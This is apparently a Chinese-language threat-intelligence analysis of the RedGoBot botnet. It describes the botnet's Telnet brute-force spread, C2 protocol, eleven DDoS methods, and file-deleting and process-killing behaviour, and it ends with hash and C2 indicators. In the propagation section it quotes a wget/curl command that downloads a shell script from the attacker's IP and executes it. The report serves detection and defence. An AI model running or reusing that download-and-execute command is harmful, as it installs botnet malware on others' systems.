概述
2022 年 11 月底,奇安信威脅情報中心監測到一起未知家族惡意樣本利用 Vacron NVR RCE 漏洞傳播的事件。經過我們的詳細分析,這一系列樣本不屬於已知的惡意家族。惡意樣本運行起來會列印 “GoBot” 字串,同時參考作者在其資產網站中的輸出”@redbot on top”,我們把它命名為 RedGoBot。
RedGoBot 核心樣本由 Go 語言編寫,當前樣本由 Go 1.18.8 編譯,目前支持 11 種 DDoS 攻擊方式,並且樣本內部集成了暴破 Telnet 服務來傳播的能力。
根據我們的回溯分析,ReGoBot 歷史上有過 3 波傳播,樣本層面也有過兩次明顯的變動。雖然目前為止 RedGoBot 的傳播量還不是很大,但我們已經看到它在嘗試下發 DDoS 攻擊指令來測試攻擊效果。
RedGoBot 某種程度上會誤殺失陷主機上的正常檔案及進程,帶來嚴重後果,因此我們建議檢查是否存在 Telnet 弱口令來防禦 RedGoBot 的入侵。
近期我們對 RedGoBot 的攻擊活動進行了監控,監測到其對 ” tls.mrrage.xyz” 發起過一次 HTTP GET 方式的攻擊測試:

通過奇安信威脅情報平臺查詢其首個 C2 的解析記錄,作者在 9 月完成樣本編寫後進行過一次擴散,之後恢復平靜,近期又開始活躍:

另一個 C2 近期的擴散資料概況:

樣本關鍵行為分析
RedGoBot 在傳播的時候,會在失陷主機上執行一個惡意 Shell 腳本檔案,Shell 腳本檔案中用 wget/curl/busybox 三種方式依次下載 RedGoBot 各種 CPU 架構的二進位制檔案,保存為 Bins_Bot_hicore_[CPU_ARCH] 形式的檔案名並嘗試執行。RedGoBot 二進位制樣本支持的 CPU 架構如下:
IBM S/390
PPC64
PPC64-LE
MIPS
MIPS-LE
ARM
ARM64
x86-64
本文以 x86-64 樣本為例進行分析,樣本資訊:
檔案名 | 檔案大小 | 檔案MD5 |
Bins_Bot_hicore_amd64 | 8980865 bytes | FD1FACF3A3FCA0FD6108BBBE98F8D5FD |
日誌記錄
樣本將運行日誌發送給 C2 伺服器,此操作將會消耗大量 C2 伺服器資源,因此猜測該殭屍網路還處於調試狀態:

刪除本地檔案
RedGoBot 樣本還會 Kill 掉失陷主機上的「可疑競爭對手」的進程,並刪除對應的檔案及檔案夾,此操作很可能會誤殺失陷主機上的進程,刪除掉很多正常檔案,給失陷主機帶來嚴重危害。
RedGoBot 要 Kill 的進程,是針對以下目標目錄起來的進程,並避開白名單中的目錄或檔案名。
Kill 進程、刪除進程檔案所在的目標目錄:
/tmp/
/var/run/
/mnt/
/root/
除此之外,RedGoBot 還把以下目錄和檔案列入」白名單「,不會刪除,不會 Kill 對應的進程:
/var/run/lock/
/var/run/shm/
Bins_Bot_hicore*
sshd
resolv.conf


持久化
RedGoBot 會創建一個惡意服務實現持久化,服務詳情如下:

標誌字串
列印字串 “GoBot\n”:

傳播方式
RedGoBot 用 Go 語言實現了類似 Gafgyt 家族的 Telnet 暴破傳播機制,內建 64 組弱口令用來實施暴破。

一旦暴破成功,將會在失陷主機上執行以下惡意命令:
wget http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh; curl -k -L –output universal.sh http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh;\n
C2 控制協議
上線
首先,請求 DNS 解析 C2 域名 “peniseater.click”:

如果解析失敗則直接使用硬編碼IP作為C2:

上線包為 “GoBot V1:amd64\n”:
通訊協議類似 Gafgyt,使用明文 ASCII 字串通訊,切割空格進行欄位分割:

指令解析
RedGoBot 目前支持 3 種指令:
kill-bot: 退出運行
exec: 執行惡意命令
DDoS Attack: 發起 DDoS 攻擊
當 RedGoBot 收到 “kill-bot” 指令時,退出 Bot 進程:

當 RedGoBot 收到 “exec” 指令,則會執行 Payload 提供的惡意命令:

當 RedGoBot 收到以下指令,則會發起對應的 DDoS 攻擊:
Name | Description |
HttpPost_Send | HTTP Flood (POST) |
HttpGet_Send | HTTP Flood (GET) |
Icmp_Send | ICMP Flood |
TCPPsh_Send | TCP Flood (spurious PUSH) |
TCPSyn_Send | TCP SYN Flood |
TCPAck_Send | TCP ACK Flood |
TCPHandshake_Send | TCP Flood |
TCPHold_Send | TCP Flood |
UDP_Send | UDP Flood |
VSE_Send | VSE Flood |
OpenVpn_Send | Openvpn UDP Flood |
擴展分析
樣本更新歷史
我們通過在樣本庫中回溯關聯,發現該殭屍網路的樣本於今年九月開始更新,初始版本中樣本並未基於 Golang Interface 實現攻擊方式的多型特性,而是根據攻擊指令,直接調用對應的 DDoS 方法:

雖然作者在上線包中將此版本同樣定義為 V1,但是我們將此初始版本定義為 V1.0:

作者於幾天後的版本中就加入了基於 Interface 實現的多型特性,我們將此版本定義為 V1.1:

可疑的其他相關殭屍網路
我們對攻擊者的資產進行了關聯分析,發現作者除了 RedGoBot 殭屍網路以外,疑似還擁有一個 Moobot 殭屍網路,該 Moobot 殭屍網路的部分資訊如下:
C2 = “cdn.cattoloveslily.wtf:38241”
MD5 = 0C817D839E014CEB4350E6989AC85B08
ITW_IP = 179.43.175.5
通過TI查詢 C2 的解析記錄,可以發現該 Moobot 殭屍網路開始傳播時間與 RedGoBot 的新樣本基本一致,從今年 11 月份開始進行擴張,當前規模同樣較小:

IoCs
MD5:
C1492F719A4553BB4280B5A8C8C39095
31BE883A1346F656DF5061BC784060A7
3C404053296EFD41DAE11A0A39BE3808
FD1FACF3A3FCA0FD6108BBBE98F8D5FD
FAD7F1073FE267FCA24927B626AFAA1F
E6327957732150FC03594E4F28933FA4
7E6261537E3499083BB5A519212B955C
CA4A1FCCD1E13A8AC5FEFB57C32F1548
CD56BEA395C994290EBC71CC1482DFE0
AAEE43E63D5A3ABD70FFA774A16C816E
C2:
RedGoBot:
185.246.221.220:6001
peniseater.click:6001
znet.whatareyousearchingfor.net:6001
185.213.26.101:6001
Moobot:
cdn.cattoloveslily.wtf:38241
點選閱讀原文至ALPHA 5.0
即刻助力威脅研判